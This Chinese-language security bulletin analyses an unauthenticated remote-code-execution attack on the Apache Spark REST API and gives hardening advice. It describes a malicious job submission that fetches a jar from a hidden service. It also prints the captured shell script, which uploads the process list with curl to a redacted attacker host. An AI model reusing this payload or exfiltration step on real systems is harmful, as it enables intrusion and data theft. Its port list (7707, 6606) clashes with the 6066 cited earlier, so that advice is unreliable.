威胁快报 | 首个Spark REST API未授权漏洞利用分析
字数 1110 2025-08-18 11:37:28
Apache Spark REST API 未授权RCE漏洞分析与防护指南
漏洞概述
2018年7月7日,阿里云安全团队首次捕获利用Apache Spark REST API未授权远程代码执行(RCE)漏洞的真实攻击样本。该漏洞允许攻击者无需认证即可通过REST API操作Spark,创建任务、删除任务、查看任务结果,最终获得执行任意指令的能力。
漏洞背景
Apache Spark是专为大规模数据处理设计的快速通用计算引擎,由UC Berkeley AMP实验室开源。它提供了WEB UI图形化界面和REST API方便用户操作。Spark作为大数据"计算引擎",一旦被攻破,企业的核心数据资产、计算能力和用户敏感数据都可能被窃取。
漏洞详情
攻击流程还原
- 目标发现:攻击者通过web扫描发现暴露在公网的Spark webui服务
- 漏洞利用:通过6066端口向REST API发送恶意请求
攻击payload指示服务器从暗网下载恶意jar包(如POST /v1/submissions/create Host: xxxx.xxx.xx:6066https://xxxxxxxx.onion.plus/SimpleApp.jar)并执行 - 恶意载荷分析:下载的jar包是一个简单的命令执行后门,执行时会从暗网下载并执行shell脚本
- 脚本内容:
该脚本收集系统性能信息并回传给攻击者#!/bin/bash ps ax --sort=-pcpu > /tmp/tmp.txt curl -F "file=@/tmp/tmp.txt" http://x.x.x.x/re.php rm -rf /tmp/tmp.txt
漏洞影响范围
- 全网约5000台暴露8080端口的Spark服务器受影响
- 攻击者可以批量接管存在权限问题的机器
- 与Hadoop Yarn未授权访问漏洞原理和利用方法相似
安全建议
网络层防护
- 使用iptables或安全组限制对以下端口的访问:
- 8088
- 8081
- 7707
- 6606
- 如无必要,不要将接口开放在公网,改为本地或内网调用
认证与访问控制
- YARN模式:使用Spark的yarn控制模式,并开启HTTP Kerberos对WEB UI进行访问控制
- Standalone模式:
- 自行实现访问控制的jar包
- 设置
spark.ui.filters对WEB UI进行访问控制
其他防护措施
- 定期更新Spark到最新版本
- 监控异常的网络连接和系统资源使用情况
- 实施最小权限原则,限制Spark服务的运行权限
未来趋势预测
- 随着加密货币经济发展,具有强大算力但安全能力较弱的分布式应用将面临更多攻击
- Spark REST API漏洞可能很快被黑产用于挖矿等恶意活动
- 使用"暗网"传播恶意后门的趋势可能会扩大
总结
Apache Spark REST API未授权漏洞是一个严重的安全威胁,可能导致整个集群被攻陷。企业应尽快评估自身风险,按照上述建议实施防护措施,特别是加强认证和网络访问控制,以保护大数据环境的安全。